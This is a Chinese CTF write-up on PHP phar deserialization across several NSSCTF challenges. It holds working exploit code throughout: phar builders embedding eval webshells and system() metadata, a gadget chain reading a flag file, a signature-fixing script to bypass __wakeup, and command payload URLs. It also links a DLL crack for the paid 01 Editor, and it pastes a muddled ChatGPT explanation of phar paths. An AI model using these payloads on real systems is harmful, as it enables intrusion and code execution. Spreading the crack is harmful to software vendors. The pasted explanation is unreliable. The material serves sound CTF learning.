首先,肯定是要掌握很多的反序列化的知识才可以的。这个之前做过了,不多讲了 主要还是多做一下相关的题目来解决我关于这个方面的很多问题吧!
phar是什么 官方文档的解析:phar扩展提供了一种将整个PHP应用程序放入一个名为“phar”(PHP Archive)的文件中的方法,以便于分发和安装 除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和操作tar和zip文件,就像PDO为访问不同的数据库提供了统一的接口一样。与PDO不同,它不能在不同的数据库之间转换,Phar也可以用一行代码在tar、zip和Phar文件格式之间转换。Phar归档的最佳特点是将多个文件组合为一个文件的便捷方式。因此,phar归档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行的方法,而无需将其解压缩到磁盘。此外,无论是在命令行上还是在web服务器上,PHP都可以像任何其他文件一样轻松地执行phar归档。Phar有点像PHP应用程序的拇指驱动器 这个稍微看一下就可以了,不再过多赘述了 简单来说,phar可以将多个php打包为一个phar文件,可以看作是一个压缩文件
phar压缩文件的组成 一般来说phar是由四个部分组成的1.存根2.描述内容的清单3.文件内容4.完整新签名 简单来说就是 1、Stub:即Phar文件的文件头,默认是,xxx可以是自定义的任何字符,不定义默认就为 2、a manifest describing the contents:phar包的各种属性信息,包括文件名、压缩文件的大小,序列化的文件、大小等等 3、file contents:即要添加的压缩的文件的名 4、Phar Signature format:即Phar文件的签名,确保文件的完整性,可以是20字节的SHA1,16字节的MD5,32字节的SHA256,64字节的512等
phar伪协议 phar伪协议可以是php的一个解压缩包的函数,不管后缀,都会被当作压缩包来解压,由于phar内容清单中储存内容的形式是反序列化的。当文件中有file_get_content(),file_exists()等函数的参数可以控制时,使用phar://伪协议,会直接进行反序列化的操作将文件内容还原。即使不使用unserialize()反序列化函数也能进行反序列化操作,就有可能导致反序列化的漏洞
[NISACTF 2022]bingdundun~ 1分 文件上传PHP伪协议PHP
1 2 //index.php 仅可以上传墩墩喜欢的【图片或压缩包】文件类型哦
这里有一个文件上传
1 2 3 4 5 6 7 8 9 //index.php <meta charset="utf8"> <meta charset="utf-8"> <form action="upload.php" method="post" enctype="multipart/form-data" > <input type="file" name="fupload" /> <input type="submit" value="upload!" /> </form> 仅可以上传墩墩喜欢的【图片或压缩包】文件类型哦<br /> <!-- 你能找到bingdundun的flag嘛,就在这个目录下 -->
网页源代码如下 基本上图片是不能解决这个问题的,这里我们选择使用phar协议和zip协议来解决这个问题
1 2 3 4 5 6 7 <?php $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>'); $phar->stopBuffering(); ?>
首先先创建一个test.php的文件 但是之前我的php误删过解释器,所以会有一些问题 需要配置php.ini文件,找到phar.readonly = On改为off 还有就是把前面的分号(;)给注释掉。(这个分号起注释作用) 我的这个php.ini的路径是
1 D:\phpstorm\wamp\bin\php\php7.4.33
大家可以参考一下 然后就可以生成我们想要的文件了 将我们生成的exp.pahr改为exp.zip就上传上去
1 /var/www/html\/91410a4d3df4037f9d88b38a44947a92.zip
paylaod
1 ?bingdundun=phar://91410a4d3df4037f9d88b38a44947a92.zip/test&8=system("cat%20/fla*");
蚁剑连接地址
1 http://node5.anna.nssctf.cn:24347?bingdundun=phar://91410a4d3df4037f9d88b38a44947a92.zip/test
这里选择的就是 当然,对于这道题目我还是有很多的疑问的 这里就只能说暂时理解到了这里了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 http://node5.anna.nssctf.cn:24347?bingdundun=phar://91410a4d3df4037f9d88b38a44947a92.zip/test我去打phar反序列化,但是题目要求上传的是一个zip文件。为什么这里只要说,访问/test就可以了,为什么不是test.php ChatGPT 说: 非常好的问题!你说的是 CTF 中常见的“PHAR 伪协议反序列化漏洞”,很多题都会让你“伪装”成 zip,然后通过访问 phar:// 触发反序列化。但你不理解为啥地址里访问 /test 就能触发,而不是 /test.php 对吗? 🔎 核心原理: 在 PHP 的 phar:// 协议里,你访问的文件路径其实是 PHAR 文件里存档中文件的路径。 你上传的文件,比如 91410a4d3df4037f9d88b38a44947a92.zip,其实是一个 PHAR 文件,只是你把它伪装成了 .zip 后缀(很多题目为了限制上传,强制文件名必须 zip)。 当你访问: phar://91410a4d3df4037f9d88b38a44947a92.zip/test 的时候,PHP 会: 当作一个 PHAR 文件来处理 91410a4d3df4037f9d88b38a44947a92.zip。 在这个 PHAR 文件里找到名为 /test 的条目,然后读取它。 🚨 为什么是 /test 而不是 /test.php? 在你用 addFromString("test.php", ...) 创建 PHAR 的时候,如果你指定的是 test.php,那么你需要访问 /test.php。 但很多时候 CTF 为了简化或者绕 WAF,会在 PHAR 里存的是 test(没有后缀),所以只要访问 /test。 另外: 这里访问的文件并不需要在物理文件系统里存在 /test 或 /test.php,因为一切都是在 PHAR 包里。 真正的 触发点 是:当 PHP 通过 phar:// 去解析这个文件时,它会去读取 PHAR 元数据(Manifest),如果其中包含序列化对象,就会触发 反序列化。 ✅ 关键点: 访问 phar://xxx.zip/something 的目的不是要执行文件内容,而是强制 PHP 解析这个 PHAR 文件,从而触发它的元数据里的反序列化。 /something 只是为了让 phar:// 正常工作,实际上是否存在这个文件本身都无所谓,反序列化在读取 PHAR 时就已经发生了。 🔎 一句话总结: “phar://xxx.zip/任意文件 是用来让 PHP 解析 PHAR 文件本体,而触发点是 PHAR 的元数据(manifest),而不是你访问的具体文件。
[NSSRound#4 SWPU]1zweb 1分 Phar反序列化反序列化文件上传 首先是一个可以查询文件的页面,还有文件上传的一个功能 首先查询文件的地方,可以直接查询/flag就出来flag了 有查询文件的地方肯定是要先要扫一下目录才可以的 只扫出来了uplaod.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
当然,可能是这个dirsearch不是很好用或者有一些问题 多半会有index.php存在的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ echo file_get_contents($file); }
首先第一个是有一个可以文件上传的地方,还有一个可以反序列化的地方 这里的这个反序列化很明显说,是不能通过unserialize来打反序列化的 还有一个file_get_contents的地方 明显就是pahr反序列化了 这里注意一下这个waf
1 2 3 4 $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }
这里的这个,是把我们pahr必要的东西给删掉了。还有之前的对文件后缀进行的一个限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class LoveNss { public $ljt; public $dky; public $cmd; public function __construct() { $this->ljt = "Misc"; $this->dky = "Re"; $this->cmd = 'system($_POST[0]);'; } } $o = new LoveNss(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new LoveNss(); $phar->setMetadata($o); //将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化 $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); //签名自动计算
我们需要对wakeup进行绕过 这里我们可以使用01editor进行编辑这个图片的内容 这里修改了,签名的完整性就不对了,所以还需要重新进行签名,默认是SHA-1算法,那么就用此 算法
1 2 3 4 5 6 7 8 9 10 11 12 from hashlib import sha1 import gzip with open('phar.png', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 h = f[-8:] # 获取签名类型以及GBMB标识 new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) f_gzip = gzip.GzipFile("1.png", "wb") f_gzip.write(new_file) f_gzip.close()
这里做着做着发现,我的01editor是需要收费的 我们需要先解决这个问题(wuwu~)
1 https://github.com/web-wuk0Ng/re
这个是我的github的一个仓库,上传了WinMM.dll文件(看起来好像下载不了,实际上可以的) 这是一个二进制文件 下载下来之后,放到01editor.exe同一个目录下就可以了
这样就是成功了
本人做杂项题比较少,虽然web题目前做的也不多,哈哈
所以这个01editor只止步于电脑上下载的有,但是基本没有用上来
1 LoveNss":3:{s:3:"ljt";s:4:"Misc";s:3:"dky";s:2:"Re";s:3:"cmd";s:18:"system($_POST[0]);";}
将LoveNss”:3:改为4就可以了 改一下文件的名字 运行我们的这个程序就可以了 然后我们上传我们的1.png就可以了 最后post访问拿到flag
1 file=phar://upload/1.png&0=tac /f*
[SWPUCTF 2021 新生赛]babyunser 1分 Phar反序列化反序列化PHP 这道题就比较常规了
[SWPU 2018]SimplePHP 62分 Phar反序列化PHP代码审计 首先一进去是一个上传文件的地方 看一下网页源码flag在flag.php里面 还有一个很熟悉的查看文件的地方。但是直接点进去发现什么都没有的 无论是你观察url还是说先扫一下目录(有让你查看文件的地方肯定要扫一下)
1 2 3 4 5 6 [15:21:02] 200 - 529B - /file.php [15:21:22] 403 - 288B - /server-status/ [15:21:22] 403 - 288B - /server-status [15:21:30] 301 - 338B - /upload -> http://node4.anna.nssctf.cn:28735/upload/ [15:21:30] 200 - 485B - /upload/ [15:21:30] 200 - 742B - /upload_file.php
最后都可以这样子来读取我们需要的文件
1 http://node4.anna.nssctf.cn:28735//file.php?file=index.php
index.php文件
1 2 3 4 <?php header("content-type:text/html;charset=utf-8"); include 'base.php'; ?>
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
upload_file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include 'function.php'; upload_file(); ?> <html> <head> <meta charest="utf-8"> <title>文件上传</title> </head> <body> <div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </div> </script> </body> </html>
base.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php-->
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
不是,这个怎么这么多要读取的文件之类的东西 这里就用一下大佬的这个exp了 自己这里还是说,多学一些手法什么的,以前没有掌握的、 后面会自己多做相关的题目的 跟传文件有关系的,限制路径,不能自由读文件的,跟解析没关系的,还找到类文件,大概率就是phar反序列化题,先分析一下function.php,只允许图片类型,传完文件会删除重复文件,会把文件名拼接客户端IP地址的结果进行md5处理作为文件名,后缀必是jpg,也就是我们传上去的文件在服务器存储的形式是upload/32位hash.jpg。所以我们等下要根据这个计算出我们上传触发反序列化的phar文件名是什么。
接下来分析class.php找链子,在Test类中的file_get方法里存在file_get_contents,get方法调用了file_get,__get方法调用了get,所以要触发Test类中的__get,而__get是在读取不可访问或者不存在的属性的时候,进行赋值,我们看到Show 类下的__toString存在$content=$this->str[‘str’]->source;,会去访问source这个成员,而Test类不存在source,所以可以触发它的__get,所以要触发Show的__toString,在类C1e4r的__destruct中,存在echo $this->test,将变量test作为字符串处理,会触发__toString,这样链子就很清晰了:
1 C1e4r->__destruct->Show->__toString->File->__get->get->file_get->file_get_content
重写Show和Test的构造函数,让Show->str[‘str’]=new Test(),然后它在__toString()里访问了Test对象中不存在的source属性,就会触发__get,让Test->params[‘source’]=’/var/www/html/f1ag.php’,就能过if(isset($this->params[$key]))最终读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct() { $this->str['str']=new Test(); } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file='/var/www/html/f1ag.php'; public $params; public function __construct() { $this->params['source']=$this->file; } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } $a = new C1e4r(new Show()); $phar = new Phar('exp.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER();?>'); $phar->setMetadata($a); $phar->addFromString('1.txt','1'); $phar->stopBuffering();
将生成的exp.phar重命名为exp.jpg,上传,然后计算md5
1 2 3 <?php echo md5("exp.jpg"."用户名处显示的你的IP");
得到一个hash,d3298cb102370dbdf186d660ebf2cf3a 上传好了之后访问
1 http://node4.anna.nssctf.cn:28735/file.php?file=phar://upload/d3298cb102370dbdf186d660ebf2cf3a.jpg
得到
1 PD9waHAgDQoJLy8kYSA9ICdOU1NDVEZ7ZDE0MzFkOTctZDkzYS00Yzk0LTkxODQtYmJjOGJhMjgxODIwfSc7DQogPz4NCg0K
解码就是flag了
[HNCTF 2022 WEEK3]ez_phar 74分 Phar反序列化PHP反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php show_source(__FILE__); class Flag{ public $code; public function __destruct(){ // TODO: Implement __destruct() method. eval($this->code); } } $filename = $_GET['filename']; file_exists($filename); ?> upload something upload something
题目名字和这个都在告诉我说是phar类型的题目 扫到有一个upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Flag{ public $code="system('ls');"; public function __destruct(){ // TODO: Implement __destruct() method. eval($this->code); } } $a = new Flag(); $phar = new Phar('exp.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER();?>'); $phar->setMetadata($a); $phar->addFromString('1.txt','1'); $phar->stopBuffering();
很简单就拿到flag了